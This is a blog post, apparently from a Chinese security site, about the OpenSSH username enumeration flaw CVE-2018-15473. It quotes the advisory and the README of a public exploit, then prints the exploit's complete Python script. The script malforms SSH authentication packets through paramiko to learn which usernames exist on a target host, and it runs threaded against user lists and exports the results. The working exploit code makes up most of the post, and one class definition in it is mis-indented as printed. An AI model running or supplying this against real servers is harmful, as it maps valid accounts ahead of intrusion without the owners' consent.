Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

CVE-2018-15473 OpenSSH User Enumeration Exp

wpadmin~August 21, 2018 /InfoSec

CVE-2018-15473 OpenSSH User Enumeration Exp

参考资料

https://nvd.nist.gov/vuln/detail/CVE-2018-15473

OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

OpenSSH (至 7.7 版本) 都会受到该 用户枚举 漏洞的威胁,因为在完全解析包含请求的数据包之后,不会延迟对无效身份验证用户的 救助 (bailout),相关漏洞与 auth2-gss.cauth2-hostbased.cauth2-pubkey.c 等文件有关。

Exp

CVE-2018-15473-Exploit
https://github.com/Rhynorater/CVE-2018-15473-Exploit

Readme

On August 15th, 2018, the following advisory was posted on the OSS-Security list: http://openwall.com/lists/oss-security/2018/08/15/5

The ShelIntel team decided to invest some time and write an exploit for this vulnerability. The exploit below has the following features:
* Treading – default 5
* If more than 10 are used, often the OpenSSH service gets overwhelmed and causes retries
* Single username evaluation via username parameter
* Multiple username evaluation via userList parameter
* Multiple username evaluation file output via outputFile parameter
* Multiple output formats (list, json, csv) via outputFormat parameter

An example username input file is given in exampleInput.txt
An example results output file in List format is given in exampleOutput.txt
An example results output file in JSON format is given in exampleOutput.json
An example results output file in CSV format is given in exampleOutput.csv

code

#!/usr/bin/env python
###########################################################################
#                ____                    _____ _____ _    _               #
#               / __ \                  / ____/ ____| |  | |              #
#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
#                     | |               Username Enumeration              #
#                     |_|                                                 #
#                                                                         #
###########################################################################
# Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
# Vulnerability: CVE-2018-15473                                           #
# Affected Versions: OpenSSH version < 7.7                                #
# Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
# Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
# Email: Justin.Gardner@SynerComm.com                                     #
# Date: August 20, 2018                                                   #
###########################################################################

import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# create custom exception
class BadUsername(Exception):
    def __init__(self):
    pass

# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
    pass

# create function to call when username was invalid
def call_error(*args, **kwargs):
    raise BadUsername()

# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
    sock = socket.socket()
    sock.connect((args.hostname, args.port))
    # instantiate transport
    transport = paramiko.transport.Transport(sock)
    try:
        transport.start_client()
    except paramiko.ssh_exception.SSHException:
        # server was likely flooded, retry up to 3 times
        transport.close()
        if tried < 4:
            tried += 1
            return checkUsername(username, tried)
        else:
            print '[-] Failed to negotiate SSH transport'
    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
            return (username, False)
    except paramiko.ssh_exception.AuthenticationException:
            return (username, True)
    #Successful auth(?)
    raise Exception("There was an error. Is this the correct version of OpenSSH?")


def exportJSON(results):
    data = {"Valid":[], "Invalid":[]}
    for result in results:
        if result[1] and result[0] not in data['Valid']:
            data['Valid'].append(result[0])
        elif not result[1] and result[0] not in data['Invalid']:
            data['Invalid'].append(result[0])
    return json.dumps(data)

def exportCSV(results):
    final = "Username, Valid\n"
    for result in results:
        final += result[0]+", "+str(result[1])+"\n"
    return final

def exportList(results):
    final = ""
    for result in results:
        if result[1]:
            final+=result[0]+" is a valid user!\n"
        else:
            final+=result[0]+" is not a valid user!\n"
    return final

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
    sock.close()
except socket.error:
    print '[-] Connecting to host failed. Please check the specified host and port.'
    sys.exit(1)

if args.username: #single username passed in
    result = checkUsername(args.username)
    if result[1]:
        print result[0]+" is a valid user!"
    else:
        print result[0]+" is not a valid user!"
elif args.userList: #username list passed in
    try:
        f = open(args.userList)
    except IOError:
        print "[-] File doesn't exist or is unreadable."
        sys.exit(3)
    usernames = map(str.strip, f.readlines())
    f.close()
    # map usernames to their respective threads
    pool = multiprocessing.Pool(args.threads)
    results = pool.map(checkUsername, usernames)
    try:
        outputFile = open(args.outputFile, "w")
    except IOError:
        print "[-] Cannot write to outputFile."
        sys.exit(5)
    if args.outputFormat=='list':
        outputFile.writelines(exportList(results))
        print "[+] Results successfully written to " + args.outputFile + " in List form."
    elif args.outputFormat=='json':
        outputFile.writelines(exportJSON(results))
        print "[+] Results successfully written to " + args.outputFile + " in JSON form."
    elif args.outputFormat=='csv':
        outputFile.writelines(exportCSV(results))
        print "[+] Results successfully written to " + args.outputFile + " in CSV form."
    else:
        print "".join(results)
    outputFile.close()
else: # no usernames passed in
    print "[-] No usernames provided to check"
    sys.exit(4)

Leave a Reply

Your email address will not be published. Required fields are marked *